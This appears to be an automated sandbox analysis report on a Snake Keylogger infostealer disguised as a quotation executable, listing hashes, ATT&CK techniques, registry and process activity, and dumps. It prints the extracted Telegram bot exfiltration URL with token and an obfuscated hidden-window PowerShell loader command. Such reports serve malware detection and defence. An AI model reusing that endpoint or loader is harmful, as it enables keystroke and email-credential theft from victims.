snakekeylogger | 73244eb1f8f3c161649203b9c8c5bb274d2c4e413e75cfddccbcd093ec29791f

Analysis

max time kernel
144s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-11-2024 10:10

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General

Target

PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe
Size

767KB
MD5

21a5378b2c78f66fff23ec764cba65f2
SHA1

94e2921a8a2e47611c936235b5ba03feecf00fff
SHA256

b23119bb95d44f50e52555f51c9931389d3d559b9f74e34041e9fa6bc2b7f481
SHA512

885aaec0dea4fbf8d46da71bb34f776a8f212e99bf7da7082ef312a1936d46d5b59327c5650a50582df474cae7174dfafe3fa606876d218501f02cd3a25e05d0
SSDEEP

12288:bMwhYlU9blucsKZ1XjfCTD/qp0xmk9qPARcQFY9fcNLqH66cOsFoTvGU5ZqLm:bMwhY+9blYKPGZx0PARxFWfcFqal/F4X

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7602241848:AAGOG1RAiVBKad-IMDgRf04J_SQO8x6g-hI/sendMessage?chat_id=5302361040

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/3440-233-0x0000000000A30000-0x0000000000A56000-memory.dmp	family_snakekeylogger
behavioral2/memory/3440-232-0x0000000000A30000-0x0000000001C84000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1664	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
31	3440	msiexec.exe
33	3440	msiexec.exe
40	3440	msiexec.exe
51	3440	msiexec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
32	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3440	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1664	powershell.exe
3440	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\genfortolkende.ini	PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Kdebrker\Sttteforeningen.man	PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
3440	msiexec.exe
3440	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1664	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeIncreaseQuotaPrivilege	1664	powershell.exe
Token: SeSecurityPrivilege	1664	powershell.exe
Token: SeTakeOwnershipPrivilege	1664	powershell.exe
Token: SeLoadDriverPrivilege	1664	powershell.exe
Token: SeSystemProfilePrivilege	1664	powershell.exe
Token: SeSystemtimePrivilege	1664	powershell.exe
Token: SeProfSingleProcessPrivilege	1664	powershell.exe
Token: SeIncBasePriorityPrivilege	1664	powershell.exe
Token: SeCreatePagefilePrivilege	1664	powershell.exe
Token: SeBackupPrivilege	1664	powershell.exe
Token: SeRestorePrivilege	1664	powershell.exe
Token: SeShutdownPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeSystemEnvironmentPrivilege	1664	powershell.exe
Token: SeRemoteShutdownPrivilege	1664	powershell.exe
Token: SeUndockPrivilege	1664	powershell.exe
Token: SeManageVolumePrivilege	1664	powershell.exe
Token: 33	1664	powershell.exe
Token: 34	1664	powershell.exe
Token: 35	1664	powershell.exe
Token: 36	1664	powershell.exe
Token: SeDebugPrivilege	3440	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 1664	1304	PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe	87
PID 1304 wrote to memory of 1664	1304	PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe	87
PID 1304 wrote to memory of 1664	1304	PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe	87
PID 1664 wrote to memory of 3440	1664	powershell.exe	96
PID 1664 wrote to memory of 3440	1664	powershell.exe	96
PID 1664 wrote to memory of 3440	1664	powershell.exe	96
PID 1664 wrote to memory of 3440	1664	powershell.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe
"C:\Users\Admin\AppData\Local\Temp\PO 20241325-SQ20240002189 (revised-3) Quotation______________________________________________.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Electricizes=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Saganashes.Com';$Forbudsbestemmelses=$Electricizes.SubString(52619,3);.$Forbudsbestemmelses($Electricizes)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gvhaxtek.xae.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Placid.Sel

Filesize
307KB

MD5
1bed7803db687e44713436a3b1bfa9e7

SHA1
4b3780aac93d35e522adce172a3d2d84c8d471f4

SHA256
ca6d0e27587fce2950cba487f154c9c47e2c668dbeee96328eb439a08febf664

SHA512
dece7d3399b5fb0fca591eb8588cb1a3bd340019db3e376cd321bbfe6993c330af7171602758a20b268bb8572688d1270fe8b2f3f09fc22f72715868d237528a

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Saganashes.Com

Filesize
51KB

MD5
86971efe48eae4401b734e86152c12aa

SHA1
93376b7df5fa9f5d363e263dd898b86e42e40ec0

SHA256
8e626d6dc0bb24ed272eaec732b70f81e306c38eba28df9e96ce78d61a75e455

SHA512
a04489dfa81e2fe20f1a8f07c562ed4a05f85b74d5745d6cb712252a46f997a7de6c9f11c3fa902c7c7b03f6ff8596e89e064c251b6a348dfb0d3b7ff6a02455

Download Submit
C:\Users\Admin\AppData\Local\orts.lnk

Filesize
1KB

MD5
9562e3a49b50d273ebdef2d6e4ca35bc

SHA1
4855e3f6e6bf99ea7d854afcdaa82bad6abf8e44

SHA256
df5d0eb826af1404315d412e2a29048e12d44b601725aaf0eb75a258b8305084

SHA512
d44f859a6dcf96052f0ecb2f18ce404949f975fdec68e45a752edb6af48455a53c548ce4ec339af9ed316a3ea06d1eae25140c17f55f13faaa0883a1a73206eb

Download Submit
memory/1664-171-0x0000000073A9E000-0x0000000073A9F000-memory.dmp

Filesize
4KB

Download
memory/1664-172-0x0000000004D60000-0x0000000004D96000-memory.dmp

Filesize
216KB

Download
memory/1664-173-0x00000000054B0000-0x0000000005AD8000-memory.dmp

Filesize
6.2MB

Download
memory/1664-174-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-175-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-176-0x0000000005260000-0x0000000005282000-memory.dmp

Filesize
136KB

Download
memory/1664-178-0x0000000005D30000-0x0000000005D96000-memory.dmp

Filesize
408KB

Download
memory/1664-177-0x0000000005C50000-0x0000000005CB6000-memory.dmp

Filesize
408KB

Download
memory/1664-188-0x0000000005DA0000-0x00000000060F4000-memory.dmp

Filesize
3.3MB

Download
memory/1664-189-0x0000000006330000-0x000000000634E000-memory.dmp

Filesize
120KB

Download
memory/1664-190-0x0000000006380000-0x00000000063CC000-memory.dmp

Filesize
304KB

Download
memory/1664-191-0x00000000072F0000-0x0000000007386000-memory.dmp

Filesize
600KB

Download
memory/1664-192-0x0000000006860000-0x000000000687A000-memory.dmp

Filesize
104KB

Download
memory/1664-193-0x0000000006880000-0x00000000068A2000-memory.dmp

Filesize
136KB

Download
memory/1664-194-0x0000000007990000-0x0000000007F34000-memory.dmp

Filesize
5.6MB

Download
memory/1664-196-0x00000000085C0000-0x0000000008C3A000-memory.dmp

Filesize
6.5MB

Download
memory/1664-199-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-210-0x00000000077C0000-0x00000000077DE000-memory.dmp

Filesize
120KB

Download
memory/1664-200-0x00000000700A0000-0x00000000703F4000-memory.dmp

Filesize
3.3MB

Download
memory/1664-198-0x000000006FF20000-0x000000006FF6C000-memory.dmp

Filesize
304KB

Download
memory/1664-197-0x0000000007780000-0x00000000077B2000-memory.dmp

Filesize
200KB

Download
memory/1664-211-0x00000000077F0000-0x0000000007893000-memory.dmp

Filesize
652KB

Download
memory/1664-212-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-214-0x00000000078F0000-0x00000000078FA000-memory.dmp

Filesize
40KB

Download
memory/1664-213-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-215-0x0000000007930000-0x000000000795A000-memory.dmp

Filesize
168KB

Download
memory/1664-216-0x0000000007960000-0x0000000007984000-memory.dmp

Filesize
144KB

Download
memory/1664-217-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-220-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-219-0x0000000073A9E000-0x0000000073A9F000-memory.dmp

Filesize
4KB

Download
memory/1664-221-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-223-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-224-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-225-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-226-0x0000000008C40000-0x000000000C52C000-memory.dmp

Filesize
56.9MB

Download
memory/1664-227-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-228-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-229-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/1664-231-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/3440-233-0x0000000000A30000-0x0000000000A56000-memory.dmp

Filesize
152KB

Download
memory/3440-232-0x0000000000A30000-0x0000000001C84000-memory.dmp

Filesize
18.3MB

Download
memory/3440-234-0x0000000022F10000-0x0000000022FAC000-memory.dmp

Filesize
624KB

Download
memory/3440-236-0x00000000233B0000-0x0000000023400000-memory.dmp

Filesize
320KB

Download
memory/3440-237-0x0000000023DA0000-0x0000000023F62000-memory.dmp

Filesize
1.8MB

Download
memory/3440-240-0x0000000023C70000-0x0000000023D02000-memory.dmp

Filesize
584KB

Download
memory/3440-241-0x0000000023400000-0x000000002340A000-memory.dmp

Filesize
40KB

Download